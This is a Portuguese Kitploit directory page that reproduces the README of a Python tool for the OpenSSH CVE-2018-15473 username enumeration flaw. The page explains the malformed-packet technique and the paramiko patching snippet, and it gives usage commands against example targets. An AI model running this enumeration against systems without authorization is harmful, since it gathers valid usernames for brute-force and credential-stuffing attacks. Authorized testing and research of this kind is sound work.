Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/k3rn3l-32/threaded-cve-2018-15473
ReconhecimentoAnálise de VulnerabilidadesExploraçãoColeta de InformaçõesTestes de PenetraçãoAprendizado e Educação
GitHubk3rn3l-32/threaded-cve-2018-15473

Threaded-CVE-2018-15473

Uma reimplementação em Python 3 do clássico exploit de enumeração de usuários do OpenSSH CVE-2018-15473, estendida com multi-threading, suporte a wordlists, detecção automática de vulnerabilidades e correção thread-safe do exploit.

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Threaded-CVE-2018-15473 — Uma reimplementação em Python 3 do clássico exploit de enumeração de usuários do OpenSSH CVE-2018-15473, estendida com multi-threading, suporte a wordlists, detecção automática de vulnerabilidades e correção thread-safe do exploit. | Kitploit
Ver Repositório
2há 4 mesesAinda não revisado

CVE-2018-15473 — Ferramenta de Enumeração de Usuários SSH

Uma reimplementação em Python 3 do clássico exploit de enumeração de usuários do OpenSSH CVE-2018-15473, estendida com multi-threading, suporte a wordlists, detecção automática de vulnerabilidade e patch thread-safe do exploit.


Índice

  • Sobre a Vulnerabilidade
  • Como o Exploit Funciona
  • Funcionalidades
  • Requisitos
  • Instalação
  • Uso
  • Exemplos
  • Créditos e Pesquisa Original
  • Aviso Legal

Sobre a Vulnerabilidade

A CVE-2018-15473 é uma vulnerabilidade de enumeração de usuários que afeta as versões 2.3 a 7.7 do OpenSSH.

A vulnerabilidade surge de uma diferença sutil na forma como o servidor OpenSSH responde a tentativas de autenticação para usernames válidos vs inválidos. Ao criar um pacote de autenticação de chave pública malformado, um atacante pode observar o comportamento do servidor e determinar se um determinado username existe no sistema — sem precisar saber a senha do usuário.

Essas informações podem ser um primeiro passo crítico em um ataque direcionado de força bruta ou de credential stuffing.

DetalheValor
ID CVECVE-2018-15473
Versões AfetadasOpenSSH 2.3 – 7.7
Pontuação CVSS5.3 (Média)
TipoDivulgação de Informações / Enumeração de Usuários

Como o Exploit Funciona

O fluxo de autenticação do OpenSSH normalmente funciona assim:

root@kitploit:~
Client → MSG_SERVICE_REQUEST  → Server
Client ← MSG_SERVICE_ACCEPT   ← Server
Client → MSG_USERAUTH_REQUEST → Server
Client ← MSG_USERAUTH_FAILURE or MSG_USERAUTH_SUCCESS ← Server

O exploit abusa do estágio MSG_SERVICE_ACCEPT. Quando o servidor envia de volta um MSG_SERVICE_ACCEPT, espera-se que o cliente anexe um campo booleano ao pacote MSG_USERAUTH_REQUEST subsequente. Ao aplicar patch no método Message.add_boolean do paramiko para que ele se torne um no-op, a ferramenta envia um pacote de autenticação malformado/truncado.

O servidor OpenSSH então se comporta de maneira diferente dependendo se o username existe:

  • Username inválido → O servidor rejeita imediatamente com MSG_USERAUTH_FAILURE (o username não existe, não há motivo para verificar a chave)
  • Username válido → O servidor lança uma AuthenticationException (ele tentou verificar a chave, confirmando que o usuário existe)

Esta ferramenta intercepta essas duas respostas por meio de handlers do paramiko com patch (_parse_userauth_failure e _parse_service_accept) e classifica cada username de acordo.

Correção Thread-Safe

O PoC original aplica o patch em add_boolean permanentemente, o que causa uma race condition quando múltiplas threads são executadas simultaneamente — as threads interferem nos handshakes umas das outras, gerando erros falsos de SSH negotiation failed. Esta reimplementação envolve o patch em um threading.Lock(), tornando a troca atômica:

root@kitploit:~
with _patch_lock:
    real_add_boolean = paramiko.message.Message.add_boolean
    paramiko.message.Message.add_boolean = _add_boolean_noop
    try:
        result = original_service_accept(auth_handler, m)
    finally:
        paramiko.message.Message.add_boolean = real_add_boolean

Funcionalidades

  • Verificação de um único username — modo one-shot rápido
  • Modo wordlist — enumera uma lista completa de usernames
  • Multi-threaded — quantidade de threads configurável, totalmente thread-safe
  • Detecção automática de vulnerabilidade — usa o nmap para verificar se o alvo está executando uma versão vulnerável do OpenSSH antes da varredura
  • Deduplicação — remove automaticamente usernames duplicados de wordlists
  • Saída limpa — resultados codificados por cores com um relatório resumido

Requisitos

  • Python 3.8+
  • paramiko
  • python-nmap
  • nmap (binário do sistema, deve estar instalado)

Instalação

root@kitploit:~
git clone https://github.com/K3rn3l-32/Threaded-CVE-2018-15473.git
cd CVE-2018-15473

# Create and activate a virtual environment (recommended)
python3 -m venv venv
source venv/bin/activate

# Install dependencies
pip install paramiko python-nmap

Certifique-se de que o nmap esteja instalado no seu sistema:

root@kitploit:~
# Debian/Ubuntu/Kali
sudo apt install nmap

Uso

root@kitploit:~
usage: main.py [-h] [-p PORT] [-t THREADS] (-u USERNAME | -U WORDLIST) target

positional arguments:
  target                Target IP address

options:
  -h, --help            show this help message and exit
  -p, --port PORT       SSH port (default: 22)
  -t, --threads THREADS Threads for wordlist mode (default: 3)
  -u USERNAME           Single username to check
  -U WORDLIST           Path to wordlist file

Exemplos

Verificar um único username:

root@kitploit:~
python main.py 192.168.1.10 -u root

Enumerar uma wordlist com as threads padrão:

root@kitploit:~
python main.py 192.168.1.10 -U /usr/share/wordlists/users.txt

Enumerar com quantidade de threads e porta personalizados:

root@kitploit:~
python main.py 192.168.1.10 -U users.txt -t 10 -p 2222

Exemplo de saída:

root@kitploit:~
[*] Scanning 192.168.56.109:22 ...
[*] Target running OpenSSH version: 4.7
[+] Target is VULNERABLE to CVE-2018-15473

[*] Loaded   : 12 usernames (0 duplicate(s) removed → 12 unique)
[*] Target   : 192.168.56.109:22
[*] Threads  : 10

  [+] root     <- VALID
  [+] service  <- VALID
  [-] guest
  [-] admin
  ...

─────────────────────────────────────────────
[*] Scan complete in 3.87s
[*] Checked  : 12 usernames
[*] Threads  : 10

[+] Valid    (2)  : ['root', 'service']
[-] Invalid  (8)
[!] Errors   (2)  : ['postgres', 'temp']

Créditos e Pesquisa Original

Esta ferramenta é uma reimplementação e extensão em Python 3 do exploit proof-of-concept original. Todo o crédito pela descoberta e documentação desta vulnerabilidade vai para os pesquisadores originais:

Exploit original: https://leapsecurity.io

Esta reimplementação adiciona:

  • Compatibilidade com Python 3 (o original era em Python 2)
  • Patch thread-safe do exploit (correção de race condition)
  • Modo wordlist com multi-threading
  • Detecção automática de vulnerabilidade baseada em nmap
  • Relatório estruturado de resultados

Aviso Legal

Esta ferramenta é destinada apenas para fins educacionais e testes de penetração autorizados.
Usar esta ferramenta contra sistemas que você não possui ou não tem permissão explícita por escrito para testar é ilegal e antiético.
O autor não assume nenhuma responsabilidade pelo uso indevido deste software.
Pratique sempre a divulgação responsável.

Baixar ferramenta
Autenticação NecessáriaNão
FunçãoNome / Handle
Autor do PoC OriginalLeap Security (@LeapSecurity)
Pesquisa de VulnerabilidadeMatthew Daley
Pesquisa de VulnerabilidadeJustin Gardner
Pesquisa de VulnerabilidadeLee David Painter